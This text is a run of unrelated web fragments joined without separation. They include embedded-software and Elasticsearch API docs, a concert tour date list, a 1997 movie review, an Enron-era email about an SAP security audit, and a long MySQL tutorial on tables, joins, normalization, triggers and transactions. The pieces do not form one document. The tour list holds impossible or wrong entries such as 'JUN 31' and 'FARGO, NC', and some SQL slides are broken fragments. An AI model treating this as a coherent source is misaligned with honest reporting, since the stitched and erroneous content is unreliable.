| struct altcp_tls_config* mqtt_connect_client_info_t::tls_config |
TLS configuration for secure connections
| const char* mqtt_connect_client_info_t::will_msg |
will_msg, see will_topic
| u8_t mqtt_connect_client_info_t::will_qos |
will_qos, see will_topic
| u8_t mqtt_connect_client_info_t::will_retain |
will_retain, see will_topic
| const char* mqtt_connect_client_info_t::will_topic |
will topic, set to NULL if will is not to be used, will_msg, will_qos and will retain are then ignored


Email address
Password
Re-enter your password
Your life story
Example block-level help text here.
Your state
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Submit


This diagram illustrates the fact that the list marker box has no impact on the position of the principal list box.
Two lists are shown, separated by a horizontal line. Each list contains two items with two lines of text each.
For the upper list, the list marker box (which contains a bullet) is outside and to the left of each list item principal box.
For the lower list, the list marker box (which contains a bullet) is the first inline box inside each list item principal box.
Below the second list, an upward-pointing arrow indicates the left edge of all four list item principal boxes. A label reads, "The left sides of the list item boxes are not affected by marker placement."


Instructions
To play this game click on blocks in groups of 2 or more of the same color.
Larger groups are worth many more points than smaller ones (n2-n).
Once there are no more moves the game is over. A total score is computed by
taking the game score minus a score penalty (10 x number left).
Click on the button to start a new game at any time.
The button will display statistics of completed games played.


APR 11
TOKYO, JAPAN
TOKYO DOME
APR 12
TOKYO, JAPAN
TOKYO DOME
APR 14
KALLANG, SINGAPORE
SINGAPORE INDOOR STADIUM
APR 15
KALLANG, SINGAPORE
SINGAPORE INDOOR STADIUM
APR 18
SHANGHAI, CHINA
MERCEDES-BENZ ARENA
APR 19
SHANGHAI, CHINA
MERCEDES-BENZ ARENA
APR 20
SHANGHAI, CHINA
MERCEDES-BENZ ARENA
APR 25
COLOGNE, GERMANY
LANXESS ARENA
APR 26
COLOGNE, GERMANY
LANXESS ARENA
APR 27
AMSTERDAM, NETHERLANDS
ZIGGO DOME
APR 29
GLASGOW, SCOTLAND
SSE HYDRO
APR 30
DUBLIN, IRELAND
3ARENA
MAY 01
DUBLIN, IRENLAND
3ARENA
MAY 03
PARIS, FRANCE
ACCORHOTELS ARENA
MAY 04
MANCHESTER, ENGLAND
MACHESTER ARENA
MAY 05
LONDON, ENGLAND
HYDE PARK
MAY 06
LONDON, ENGLAND
HYDE PARK
MAY 08
LONDON, ENGLAND
HYDE PARK
MAY 12
BOSSIER CITY, LA
CENTURYLINK CENTER
MAY 13
BATON ROUGE, LA
LSU TIGER STADIUM
MAY 14
CHARLOTTE, NC
SPECTRUM CENTER
MAY 15
RALEIGH, NC
PNC ARENA
MAY 18
LOUISEVILLE, KY
KFC YUM! CENTER
MAY 19
CLEVELAND, OH
QUICKEN LOANS ARENA
MAY 22
PITTSBURGH, PA
HEINZ FIELD
MAY 23
PHILADELPHIA, PA
LINCOLN FINANCIAL FIELD
MAY 24
PHILADELPHIA, PA
LINCOLN FINANCIAL FIELD
MAY 25
DETROIT, MI
FORD FIELD
MAY 30
OTTAWA, ON
CANADIAN TIRE CENTRE
JUN 31
MONTREAL, QC
BELL CENTRE
JUN 01
EDMONTON,AB
NORTHLANDS COLISEUM
JUN 03
VANCOUVER, BC
BC FIELD
JUN 05
TORONTO, ON
ROGERS CENTRE
JUN 06
TORONTO, ON
ROGERS CENTRE
JUN 08
SEATTLE, WA
CENTURYLINK FIELD
JUL 09
FARGO, NC
FARGODOME
JUL 10
GREENSBORO, NC
GREENSBORO COLISEUM
JUN 12
FOXBOROUGH, MN
GILETTE STADIUM
JUN 13
SAINT PAUL, MN
XCEL ENERGY CENTER
JUN 14
SAINT PAUL, MN
XCEL ENERGY CENTER
JUN 16
COLUMBUS, OH
NATIONWIDE ARENA
JUN 17
COLUMBUS, OH
NATIONWIDE ARENA
JUN 18
CHICAGO, IL
SOLDIER FIELD
JUN 19
CHICAGO, IL
SOLDIER FIELD
JUN 22
DES MOINES, IA
WELLS FARGO ARENA
JUN 23
OMAHA, NE
CENTURYLINK CENTER OMAHA
JUN 26
SANTA CLARA, CA
LEVI'S STADIUM
JUN 27
SANTA CLARA, CA
LEVI'S STADIUM
JUN 28
SAN DIEGO, CA
PETCO PARK
JUL 01
LOS ANGELES, CA
STAPLES CENTER
JUL 02
LOS ANGELES, CA
STAPLES CENTER
JUL 03
LOS ANGELES, CA
STAPLES CENTER
JUL 06
SALT LAKE CITY, UT
ENERGYSOLUTIONS ARENA
JUL 07
DENVER, CO
PEPSI CENTER
JUL 08
DENVER, CO
PEPSI CENTER
JUL 12
GLANDALE, AZ
GILA RIVER ARENA
JUL 13
HOUSTON, TX
MINUTE MAID PARK
JUL 14
ARLINGTON, TX
AT&T STADIUM
JUL 19
KANSAS CITY, MO
SPRINT CENTER
JUL 20
ST. LOUIS, MO
SCOTTRADE CENTER
JUL 21
INDIANOPOLIS, IN
BANKERS LIFE FELDHOUSE
JUL 23
LEXINGTON, KY
RUPP ARENA
JUL 24
NASHVILLE, TN
BRIDGESTONE ARENA
JUL 27
EAST RUTHERFORD, NJ
METLIFE STADIUM
JUL 28
EAST RUTHERFORD, NJ
METLIFE STADIUM
JUL 30
WASHINGTON DC
NATIONALS PARK
JUL 31
WASHINGTON DC
NATIONALS PARK
AUG 03
ATLANTA, GA
GEORGIA DOME
AUG 04
MIAMI, FL
AMERICAN AIRLINES ARENA
AUG 05
TAMPA, FL
RAYMOND JAMES STADIUM
AUG 20
SYDNEY, AUSTRALIA
ANZ STADIUM
AUG 21
BRISBANE, AUSTRALIA
SUNCORP STADIUM
AUG 22
ADELAIDE, AUSTRALIA
ADELAIDE ENTERTAINMENT CENTRE
AUG 23
ADELAIDE, AUSTRALIA
ADELAIDE ENTERTAINMENT CENTRE
AUG 27
MELBOURNE, AUSTRALIA
AAMI PARK
AUG 28
MELBOURNE, AUSTRALIA
AAMI PARK
SET 01
AUCKLAND, NEW ZEALAND
VECTOR ARENA
SET 06
JOHANNESBURG, AFRICA
FNB STADIUM
SET 11
MEXICO CITY, MEXICO
FORO SOL
SET 13
LIMA, PERU
ESTADIO NACIONAL
SET 14
SANTIAGO, CHILE
ESTADIO NACIONAL
SET 15
BUENOS AIRES, ARGENTINA
ESTADIO RIVER PLATE
SET 19
PORTO ALEGRE, BRASIL
ESTÁDIO BEIRA-RIO
SET 20
SÃO PAULO, BRASIL
ESTÁDIO DO MORUMBI
SET 21
RIO DE JANEIRO, BRASIL
PRAÇA DA APOTEOSE
SET 22
MANAUS, BRASIL
ARENA DO AMAZÔNIA
SET 30
SALVADOR, BRASIL
ITAIPAVA ARENA FONTE NOVA
OUT 03
JOÃO PESSOA, BRASIL
ALMEIDÃO


Put Mapping
The put mapping API allows to register specific mapping definition for a specific type.
Attribute based mapping
You can decorate your classes with ElasticProperty
and ElasticType
attributes to describe how they should be mapped in ES.
[ElasticType(
Name = "elasticsearchprojects2",
DateDetection = true,
NumericDetection = true,
SearchAnalyzer = "standard",
IndexAnalyzer = "standard",
DynamicDateFormats = new[] { "dateOptionalTime", "yyyy/MM/dd HH:mm:ss Z||yyyy/MM/dd Z" }
)]
public class ElasticSearchProject
{
public int Id { get; set; }
public string Name { get; set; }
[ElasticProperty(OmitNorms = true, Index = FieldIndexOption.not_analyzed)]
public string Country { get; set; }
public string Content { get; set; }
[ElasticProperty(Name="loc")]
public int LOC { get; set; }
public List<Person> Followers { get; set; }
[ElasticProperty(Type=FieldType.geo_point)]
public GeoLocation Origin { get; set; }
public DateTime StartedOn { get; set; }
//excuse the lame properties i needed some numerics !
public long LongValue { get; set; }
public float FloatValue { get; set; }
public double DoubleValue { get; set; }
[ElasticProperty(NumericType=NumericType.Long)]
public int StupidIntIWantAsLong { get; set; }
}
You can persist this mapping by simpling calling
var response = this.ConnectedClient.Map<ElasticSearchProject>();
NOTE: Whenever the client needs to infer the typename for ElasticSearchProject
it will resolve nicely to "elasticsearchprojects2"
now too. This gives you great control over naming without having to specify the typename on each call.
ALSO NOTE: Map<T>()
will also explicitly map string properties as strings with elasticsearch even if they do not have an attribute on them. It does this for all the value types (string, int, float, double, DateTime).
Code based mapping
You can also create mappings on the fly:
var typeMapping = new TypeMapping(Guid.NewGuid().ToString("n"));
var property = new TypeMappingProperty
{
Type = "multi_field"
};
var primaryField = new TypeMappingProperty
{
Type = "string",
Index = "not_analyzed"
};
var analyzedField = new TypeMappingProperty
{
Type = "string",
Index = "analyzed"
};
property.Fields = new Dictionary<string, TypeMappingProperty>();
property.Fields.Add("name", primaryField);
property.Fields.Add("name_analyzed", analyzedField);
typeMapping.Properties.Add("name", property);
this.ConnectedClient.Map(typeMapping);


|
F´ Flight Software - C/C++ Documentation
NASA-v1.5.0
A framework for building embedded system applications to NASA flight quality standards.
|
#include <Svc/TlmChan/TlmChanImpl.hpp>
Public Attributes | |
| FwChanIdType | id |
| telemetry id stored in slot More... | |
| bool | updated |
| set whenever a value has been written. Used to skip if writing out values for downlinking More... | |
| Fw::Time | lastUpdate |
| last updated time More... | |
| Fw::TlmBuffer | buffer |
| buffer to store serialized telemetry More... | |
| tlmEntry * | next |
| pointer to next bucket in table More... | |
| bool | used |
| if entry has been used More... | |
| NATIVE_UINT_TYPE | bucketNo |
| for testing More... | |
Definition at line 50 of file TlmChanImpl.hpp.
| NATIVE_UINT_TYPE Svc::TlmChanImpl::tlmEntry::bucketNo |
for testing
Definition at line 57 of file TlmChanImpl.hpp.
| Fw::TlmBuffer Svc::TlmChanImpl::tlmEntry::buffer |
buffer to store serialized telemetry
Definition at line 54 of file TlmChanImpl.hpp.
| FwChanIdType Svc::TlmChanImpl::tlmEntry::id |
telemetry id stored in slot
Definition at line 51 of file TlmChanImpl.hpp.
| Fw::Time Svc::TlmChanImpl::tlmEntry::lastUpdate |
last updated time
Definition at line 53 of file TlmChanImpl.hpp.
| tlmEntry* Svc::TlmChanImpl::tlmEntry::next |
pointer to next bucket in table
Definition at line 55 of file TlmChanImpl.hpp.
| bool Svc::TlmChanImpl::tlmEntry::updated |
set whenever a value has been written. Used to skip if writing out values for downlinking
Definition at line 52 of file TlmChanImpl.hpp.
| bool Svc::TlmChanImpl::tlmEntry::used |
if entry has been used
Definition at line 56 of file TlmChanImpl.hpp.


Print your PWA logo in 3 easy steps
1. Choose font tone (dark/light):
Dark Font
Light Font
2. Select color to emphasize the "W" (web):
3. Preview / Download:
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Air Force One (1997, R) Directed by Wolfgang Peterson (In the Line of Fire)
Written by Andrew W. Marlowe (End of Days)
Starring: Harrison Ford (Star Wars), Gary Oldman (The Professional), William H. Macy (Pleasantville), Glenn Close (Fatal Attraction), Wendy Crewson (To Gillian on her 37th Birthday)
As Reviewed by James Brundage
Let's say one thing first. Anyone who was expecting to find a really good movie inside of something that combines Wolfgang Peterson, the director of "In the Line of Fire" with Harrison Ford of the Star Wars Trilogy and Gary Oldman, who played the slack-jawed sociopath in the worst movie of the summer, "The Fifth Element", couldn't be good. Granted, "In the Line of Fire" was one of the best assassin stories told since "Seven Days in May" and the Star Wars Trilogy is at least a fun bunch, but the two-out-of-three-ain't-bad rule just doesn't apply to movies.
In fact, in this movie, what you'd expect is almost reversed.
Gary Oldman is the only one who shows anything worth watching on the screen while Peterson's copycat style and Ford's Rambo with wrinkles simply don't work.
Air Force One is supposed to be a story about the hijacking of the president's plane, but is really simply the hijacking of about five other plane movies in disguise.
Having somebody go into the machinery and cause mischief? Sound like "Executive Decision"? Having people being pulled from one plane to another by a wire? The robbery sequence in "Cliffhanger". Having a kills quick and never dies superman on the plane? An obvious shoot off of Passenger 57. And having a demented sociopath in control of a flight? "Turbulence" or "Con Air", take your pick.
For me this was one of those movies in which I was wondering why I saw it in the first place as I came out of the theater. That and it was one of the movies in which you know exactly what is going to happen makes those two hours ones in which I wish life had a return policy on it.
http://fly.to/criticsheaven
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
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Related links: index of all rec.arts.movies.reviews reviews


inputEx - Form Usage
Basic Form creation
Use the following code to create a basic inputEx Form.
Multi-group Form
Use the following code to create a Form with multiple Groups (fieldsets).
Send in json with ajax
How to send the form data using Ajax
Send with ajax using url encoded parameters
How to send the form data using Ajax
Send with ajax using url encoded parameters wrapped in an object
Use wrapObject
Setting and getting form value
Use the following code to set or get the value from javascript
Different button types
Use the following code to create submit buttons, or "link" buttons.
You can use 3 types of inputEx form buttons :
- submit : a (<input type="submit" />)-tag is created. A handler is automatically added on 'click' to submit the form only if it validates (no invalid fields, or no empty required fields).
- submit-link : same as 'submit' type, but with a different markup (Submit) to render as 'link'. The same handler as with 'submit' type is added on link.
- link : same markup as 'submit-link' but with no handler to submit the form. You must add your own 'onClick' function to trigger a specific action. The default link behavior is disabled, so you don't have to do it yourself in the onClick handler.
"link" and "submit-link" buttons are also useful because :
- they allow to differenciate strong actions (like a "submit"), and weak actions (like a form "reset")
- they are easier to style (see : styling buttons example)
Destroy a form
Remove DOM nodes, remove event listeners, free memory...
Turn off / on browser autocompletion
Activate/deactivate browser autocompletion by field, by form, or for all inputEx fields in the page.


Failure!
Your browser does not support WebSockets.
Try Chrome, Firefox, Safari, or even Internet Explorer 10.
Failure!
Your browser does not support Canvas.
Try Chrome, Firefox, Safari, or even Internet Explorer 10.


8. Sequence Protocol¶
Support for the sequence protocol is achieved adding functions with special names, this is done using the add-function tag.
The special function names are:
Function name Parameters Return type CPython equivalent __len__ PyObject* self Py_ssize_t PySequence_Size __getitem__ PyObject* self, Py_ssize_t _i PyObject* PySequence_GetItem __setitem__ PyObject* self, Py_ssize_t _i, PyObject* _value int PySequence_SetItem __contains__ PyObject* self, PyObject* _value int PySequence_Contains __concat__ PyObject* self, PyObject* _other PyObject* PySequence_Concat
You just need to inform the function name to the add-function tag, without any parameter or return type information, when you do it, Shiboken will create a C function with parameters and return type definied by the table above.
The function needs to follow the same semantics of the CPython equivalent function, the only way to do it is using the inject-code tag.
A concrete exemple how to add sequence protocol support to a class can be found on shiboken tests, more precisely in the definition of the Str class in tests/samplebinding/typesystem_sample.xml
.


Start time: {{currentReservation!.reservation.startTime! * 1000 | date: 'medium'}}
End time: {{currentReservation!.reservation.endTime! * 1000 | date: 'medium'}}
Duration: {{ (currentReservation!.reservation.endTime! - currentReservation!.reservation.startTime!) | secondsHours}}


This section contains a collection of examples on using pygeostat for different geostatistical modelling workflows.


Do you want to annotate a new dataset which has both been uploaded yet to the EASE tool?
Do you want to annotate a dataset which has already been uploaded to the EASE tool?
Select from your files:
None of these options. I Just want to create a metadata template without data. Click to create.
Do you want to create a new annotation item of your data?
Do you want to annotate your data using an existing annotation item? And adapt to you needs.
Select from your annotations:
Do you want to update an annotation which already been don no matter if it has data attached or not.
Select from your annotations:


We still have not had a response from you on the roles assigned below. Please let me know if we should be contacting someone else or if this is no longer your responsibility. Our security audit has begun and the auditors are requesting documentation on the signoff from the business units. If you have any questions, please let me know.
Thank you!
Danette
-----Original Appointment-----
From: Campbell, Danette On Behalf Of Andrade, Juanita
Sent: Monday, August 27, 2001 2:46 PM
To: Geaccone, Tracy
Subject: FW: ETS - SAP Security Access Review Meeting
When: Monday, August 27, 2001 1:30 PM-2:30 PM (GMT-06:00) Central Time (US & Canada).
Where: 3AC32C1
Tracy,
Per our meeting today, we are preparing for an internal security audit that will start next week. Please review the list of attached users for the IM roles that you are the security owner for. Please let me know of any changes that need to be made, and any questions that you may have. It is important that I recieve your response before the end of the day on Thursday, August 30.
This meeting will be to discuss the SAP SECURITY ACCESS REVIEW report that was sent to you the week of August 6. In order to comply with auditing standards a positive confirmation is needed from the security owner for the annual review. This meeting has been setup to obtain security owner approval for the roles assigned, since no written response or confirmation has been recieved.
<< File: ETS.xls >>
Attendees:
Timothy Bayles
Tracy Geaccone
Gary Zahn
Harry Walters, Jr.
Paul Cherry
Barney Brasher
Shirley Jo Dickens-Wilson
David McEllin
John Cobb - optional
Mary Sloan - optional
Danette Campbell - Chairperson
Mtg.setup by J.Andrade
***********
EDRM Enron Email Data Set has been produced in EML, PST and NSF format by ZL Technologies, Inc. This Data Set is licensed under a Creative Commons Attribution 3.0 United States License <http://creativecommons.org/licenses/by/3.0/us/> . To provide attribution, please cite to "ZL Technologies, Inc. (http://www.zlti.com)."
***********
California


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Venue
The event will be held in and around Wilson Hall, The University of Melbourne. Look for the big tent!
Each participant will prepare a digital toolbox poster, detailing the digital tools they use for their research. These posters will be displayed for the duration of the event in Wilson Hall. A selection of posters will be chosen for a brief interview session.
Contact
For more information check out our FAQ page, or contact us at:


OPPORTUNITIES
Sathybama University provides many oppourtunies to showcase the interst of students and encourages us to conducts Meetsups and wokshops through various clubs
one of such fruitfull initiatives are Talentmeet.org ,Developer student club,Hardware club,Music Club and much more..
Students Development Cell
A group of ignited minds clustered together to provide regular inputs for the complete development of a student.The main objective of the Student Development Cell (SDC) is to identify the potential of each student and to facilitate them in achieving their academic goals through various clubs. At Sathyabama, we have 16 clubs which play a vital part of every student life in Campus. Open to all students, the clubs plan events and activities throughout the year. All the clubs together conduct an annual national level technical event called Technosummit.
Clubs
Majour clubs in our college :
Coding Club of Sathyabama Institute of science and technology is administered by the Placement Cell. It aims to bring together the core talent of the Institute under one umbrella. The main vision of the club is to improve the art of competitive programming skills in the students and to make them ready for renowned competitions like ACM-ICPC, Google code jam, various Hackathons conducted at national and International levels etc.
Lead Talks held every year in our campus gives chance to spread the voices on various topics releated to technical and non-technical aspects .Auditions will be held for the Lead talks,Students can present convey their idea throught slides or ppts.Do make you use of this phenemenol opportunity


Primary Key
Every table must have a primary key, a set of attributes that will uniquely identify a record.
In this case what would be a good primary key?
Created by <Academia de Código_>
It's a software package designed to manipulate data in a relational database
It's nothing more than a set (usually big) of related information, which describes activities of the real world.
Compared to paper, a database system is able to retrieve data more quickly, index it in multiple ways and deliver up-to-date information to its users
Modern database systems can manage terabytes of data spread across many fast-access disk drives, holding tens of gigabytes of that data in high-speed memory
Examples of Databases:
Yes, there are other ways...
For example, we could use plain files
Do not use a DBMS when:
DBMS introduces overhead:
A database that implements stored data in a series of two dimensional relations (tables) that are related to one another
Relational
Non-relational
In a nutshell: Flexibility vs Performance
// Database connection
$ mysql -u <username> -h <host> -p [database]
/* SQL STATEMENTS BELOW */
// Database creation
> CREATE DATABASE boat_booking;
// Start using Database
> USE boat_booking;
// Delete database #PROCEEDWITHCAUTION
> DROP DATABASE [if exists] boat_booking;
// List databases
> SHOW DATABASES;
How information is organized in a relational database
/* SQL STATEMENTS BELOW */
// Generic table creation
CREATE TABLE generic_table(
column1 DATATYPE [ CONSTRAINT ] ,
column2 DATATYPE [ CONSTRAINT ] ,
);
| Constraint | Meaning |
|---|---|
| NOT NULL | Column will not hold null values |
| UNIQUE | Column will not hold already existing values |
| AUTO INCREMENT | Column will automatically increment |
| DEFAULT <value> | Set the column' default value |
CREATE TABLE example_table(
id INTEGER,
name CHAR(15) NOT NULL UNIQUE,
PRIMARY KEY (id)
);
CREATE TABLE example_table(
id INTEGER AUTO_INCREMENT,
PRIMARY KEY (id)
);
CREATE TABLE sailors(
id INTEGER NOT NULL UNIQUE,
name CHAR(15) NOT NULL,
age INTEGER NOT NULL
);
Refer to specific table attributes
Used to sort and/or uniquely identify table records
Used to establish and identify relationships between tables
The most important key types are:
Every table must have a primary key, a set of attributes that will uniquely identify a record.
In this case what would be a good primary key?
In case there is no single attribute for a primary key, we can use a composite - several attributes
In this case what would be the primary key?
We can add the primary key as a constraint on the attribute or on the table
CREATE TABLE mytable(
column1 DATATYPE [ NOT NULL | UNIQUE | PRIMARY KEY],
column2 DATATYPE [ NOT NULL | UNIQUE | PRIMARY KEY],
,
PRIMARY KEY (column1,column2)
);
A foreign key is an attribute on a table that points to a primary key in another table.
Useful to enforce relationships and to relate information.
CREATE TABLE mytable(
column1 DATATYPE [ NOT NULL | UNIQUE | PRIMARY KEY],
column2 DATATYPE [ NOT NULL | UNIQUE | DEFAULT <value>],
PRIMARY KEY (column1)
FOREIGN KEY (column2) REFERENCES mytable2(column1)
);
A relationship exists between two tables when you associate the records of the first table with those of the second.
Crucial to data integrity because they reduce redundant data and eliminate duplicate data
The type of a relationship between two tables is known as cardinality
Three specific types of relationship can exist between tables:
A pair of tables has a one-to-one relationship when a single record in the first table is related to only one record in the second table, and a single record in the second table is related to only one record in the first table
In this type of relationship one table serves as a parent table and the other serves as a child table
This is a special type of relationship because it is the only one in which both tables may actually share the same primary keyA pair of tables has a one-to-many relationship when a single record in the first table can be related to many records in the second table, but a single record in the second table can be related to only one record in the first table
The table on the one side of the relationship is the parent table and the table on the many side is the child table
This is the most common relationship that exists between a pair of tables in a databaseA pair of tables has a many-to-many relationship when a single record in the first table can be related to many records in the second table and a single record in the second table can be related to many records in the first table
This relationship is established using a linking table
Does not exist between a pair of tables, but between the records within a table
Logical definition of a table, consisting of the name and type of each attribute
A database schema is the collection of table schemas for the whole database
Remove columns
ALTER TABLE mytable
DROP mycolumn
Insert columns
ALTER TABLE mytable
ADD mycolumn DATATYPE [ CONSTRAINTS ]
All new records will have a null value if the attribute is not specified
DROP TABLE mytable
Programming language designed for managing data held in a RDBMS
It is declarative (not procedural), which means we just tell what we want without having to supply a step-by-step procedure on how to do it
In computer programming, these four basic functions of persistent storage are called CRUD
INSERT INTO mytable(column1, column2)
VALUES (column1_value, column2_value);
Example:
INSERT INTO sailors(id, name, rating, age)
VALUES (15, 'Andreia', 55.44, 30);
Basic syntax:
SELECT column1, column2 FROM mytable;
Example selecting all columns:
SELECT * FROM sailors;
DELETE FROM mytable WHERE column=column_value;
Example:
DELETE FROM sailors WHERE sailor_id=15;
UPDATE table
SET column1=column1_value
WHERE column2=column2_value;
Example:
UPDATE sailors
SET age=25
WHERE sailor_id=1;
An integrity restriction is a specified condition over the schema in order to restrict the data that can be stored in a table
A domain defines the possible values for an attribute
Concerns the concept of a Primary Key
Concerns the concept of a Foreign Key
on delete action
on update action
action is one of :
CREATE TABLE reserves(
sailor_id INTEGER,
boat_id INTEGER,
day DATE,
PRIMARY KEY(boat_id, day),
FOREIGN KEY(sailor_id) REFERENCES sailors(id) ON DELETE CASCADE,
FOREIGN KEY(boat_id) REFERENCES boats(id) ON DELETE CASCADE
);
"What's the fraction of students in the DB's discipline that had a grade superior to 16?"
It's this type of questions that we will learn how to answer.
A select always returns a result-set and is composed by two major parts
Select the name of all sailors with age below 30
Projection: name
Selection: age < 30
What are the names of all boats?
List all red boats
List all sailors with age between 20 and 30
List the id and name of sailors with less than 50 years and id higher than 5
A join is used to combine rows from two or more tables, based on a common field
We will just focus on the INNER JOIN
What are the names of the sailors that reserved the boat 100?
SELECT DISTINCT s.sailor_name
FROM sailors AS s, reserves AS r
WHERE s.sailor_id = r.sailor_id AND r.boat_id=100;
What are the names of the sailors that reserved at least one boat?
SELECT DISTINCT s.sailor_name
FROM sailors AS s, reserves AS r
WHERE s.sailor_id = r.sailor_id;
What are the names of the sailors that reserved a red boat?
SELECT DISTINCT s.sailor_name
FROM sailors AS s, boats AS b, reserves AS r
WHERE s.sailor_id = r.sailor_id AND b.boat_id = r.boat_id AND b.color = 'red';
What are the names of the sailors that reserved a green or a red boat?
Using a Join of three tables:
SELECT s.sailor_name
FROM sailors AS s, boats AS b, reserves AS r
WHERE s.sailor_id = r.sailor_id
AND b.boat_id = r.boat_id
AND (b.color = 'red' or b.color = 'green');
Using a Union:
SELECT s.sailor_name
FROM sailors AS s, boats AS b, reserves AS r
WHERE s.sailor_id = r.sailor_id AND b.boat_id = r.boat_id AND b.color = 'red'
UNION
SELECT s.sailor_name
FROM sailors AS s, boats AS b, reserves AS r
WHERE s.sailor_id = r.sailor_id AND b.boat_id = r.boat_id AND b.color = 'green';
A select command may contain one or more select commands.
They can appear in the WHERE, HAVING, FROM clauses.
Example: What are the names of the sailors that reserved the boat 100?
SELECT s.sailor_name
FROM sailors AS s
WHERE s.sailor_id IN(
SELECT r.sailor_id
FROM reserves AS r
WHERE r.boat_id = 100
);
Example: What are the names of the sailors that didn't reserve a red boat?

SELECT AVG(s.age)
FROM sailors AS s;
What is the age of the oldest sailor?
SELECT MAX(s.age)
FROM sailors AS s;
What is the number of sailors?
SELECT COUNT(*)
FROM sailors;
SELECT [DISTINCT] select-list
FROM from-list
[WHERE qualification]
[GROUP BY grouping-list]
[HAVING group-qualification];
GROUP BY - Operator that gathers lines with equal values in a unique group, in the columns of the grouping-list.
HAVING - Filters the groups that don't satisfy the group-qualification.
What is the age of the youngest sailor for each rating?
SELECT s.rating, MIN(s.age)
FROM sailors AS s
GROUP BY s.rating;
What are the ages of the youngest sailors for each rating with more than one sailor?
SELECT s.rating, MIN(s.age)
FROM sailors AS s
GROUP BY s.rating
HAVING COUNT(*) > 1;
SELECT [DISTINCT] select-list
FROM from-list
[ORDER BY grouping-list];
The ORDER BY sorts the tuples in ascending order by default. To sort them descending we just have to add the DESC keyword.
Example: List by alphabetical order the names of sailors that reserved the boat 100.
SELECT s.sailor_name
FROM sailors AS s, reserves as r
WHERE s.sailor_id = r.sailor_id AND r.boat_id = 100
ORDER BY s.sailor_name;
SELECT s.sailor_name
FROM sailors AS s, reserves as r
WHERE s.sailor_id = r.sailor_id AND r.boat_id = 100
ORDER BY s.sailor_name DESC;
How should we organize the data in a database?
Which tables should we create? Which columns should each table have?
Consider a relation (table) containing the students of a university:
Is this a good design?
Our database design contains a lot of redundant data!
Redundant data introduces multiple design anomalies:
Can you identify what the specific problems are?
A set of rules, guidelines and techniques that are used while designing a database
Normalization helps us with having a well-designed database!
Understanding the functional dependencies of our data is an important part of database design and the normalization process
A FD is a constraint between two sets of attributes in a relation:
We can say that birth_date is functionally dependent on full_name as the birthdate of a student is determined by his name. By knowing the student name, we can determine its birthdate.
The nature of our data in the real world is what determines the functional dependencies
Let's decide that for our university only one address will be used for each student, even if they actually have two homes. Then we can say that street, city and zip are functionally dependent on full_name
Can you identify any other functional dependencies in this relation?Assuming the zip code is unique for a given city and street name:
We can say that zip is functionally dependent on street, city, which in turn are functionally dependent on full_name
The attribute zip is said to be transitively dependent on full_name!
Normalization is divided into the following normal forms:
Usually we do not apply all the normal forms to get the database design done. The most used form is 3NF, 4NF and 5NF are ignored in most of the cases, but it depends on the design specific needs.
The first rule is satisfied by the <full_name, subjects> composite key.
But the subjects property breaks the second rule!
What if we replace the subjects column with two columns, named subject1 and subject2?
To satisfy 1NF, we must have only one subject column and for each student create as many rows as the subjects he is enrolled in
Data redundancy can increase, but each row will be unique
1NF does not provide a good database design, it is just an intermediate step!birthdate, street, city and zip are non-key attributes that do not depend on the key-attribute subject
To satisfy 2NF, we must remove the subject attribute from the relation..
..and create a new subjects relation:
To satisfy 3NF, we must remove the zip attribute from the relation..
..and create a new zip relation:
There is no definitive answer and it really depends on the data
3NF clearly didn't get rid of all the redundant data:
But how often will city and street names change or disappear?
The local library needs a software to manage their book loans.
Typical enquiries include:
"Do we have any books by Tolstoi?"
"How many books are out on loan?"
"Which company published O Primo Basílio?"
"Which users have borrowed books published before 1974?"
It is a program that is executed by a single SQL command.
It is executed in the RDBMS, which means:
Some disadvantages:
USE boat_booking;
DELIMITER //
CREATE PROCEDURE get_reserves_by_boat_and_sailor
(IN boat VARCHAR(255), IN sailor VARCHAR(255))
BEGIN
SELECT DISTINCT * FROM reserves
WHERE reserves.bid = (
SELECT id FROM boats WHERE boats.name = boat
) AND reserves.sid = (
SELECT id from sailors WHERE sailors.name = sailor
);
END //
DELIMITER ;
// Call the procedure
CALL get_reserves_by_boat_and_sailor('Titanic', 'Nuno');
It is an automatically-invoked procedure in response to specific updates in the database.
Example:
DELIMITER //
CREATE TRIGGER before_rating_update
BEFORE UPDATE ON sailors
FOR EACH ROW
BEGIN
INSERT INTO sailors_rating_history (sid, rating, day)
VALUES (NEW.id, NEW.rating, CURDATE());
END //
DELIMITER ;
A view is a virtual table based on the result-set of an SQL statement. A view contains rows and columns, just like a real table. The fields in a view are fields from one or more real tables in the database.
// Have a look at the mysql server users table
USE mysql;
SELECT * from user;
// Create a new view to simplify inspecting users
USE test;
CREATE VIEW my_users AS SELECT Host, User, authentication_string FROM mysql.user;
// Have a look at the mysql server users
SELECT * FROM my_users;
The concurrent execution of programs is essential for a good database performance. The same principles of parallel computing, that we discussed in the JAVA classes, apply!
Where will we have concurrency problems in databases?
Transactions provide an all-or-nothing proposition, stating that each work-unit performed in a database must either complete in its entirety or have no effect whatsoever
The system must isolate each transaction from other transactions, results must conform to existing constraints in the database, and transactions that complete successfully must be written to durable storage
Example that should be wrapped in a database transaction: Making a money transfer.
MySQL automatically commits all statements that are not part of an explicit transaction, making the results of any UPDATE or INSERT statement immediately stored to disk to make them permanent
// Inspect the state of the autocommit session(@@) variable
SELECT @@autocommit;
// Set the session variable autocommit to false
SET autocommit=0;
SELECT @@autocommit;
// Create a new table using InnoDB engine, which supports transactions
USE test;
CREATE TABLE test(num INTEGER NOT NULL) engine=InnoDB;
// Turn off auto commit
SET autocommit=0;
// Execute transaction, perform queries from other mysql connections
START TRANSACTION;
INSERT INTO test VALUES (1, 2, 3);
INSERT INTO test VALUES (4, 5);
COMMIT;
// Truncate table test
TRUNCATE test;
// Execute transaction, perform queries from other mysql connections
START TRANSACTION;
INSERT INTO test VALUES (1, 2, 3);
INSERT INTO test VALUES (4, 5);
// Some error occurs.... let's rollback
ROLLBACK;
Transactions have the following properties:
State changes are atomic. Either they execute in full or they don't execute at all.
Why transactions fail:
Function: Changes made in an active transaction are kept in a transaction log and, in case of abort, all changes are undone.
Ensures that any transaction will bring the database from a valid state to another valid state.
Function: Any data that is written to the database must be validated according to all restrictions (keys, foreign keys, cascades, triggers, etc.).
NOTE: It does not guarantee the correct execution of a transaction in the ways that the programmer intended (at the application level).
It guarantees that concurrent execution of transactions results in a system state that would be obtained if transactions were executed serially
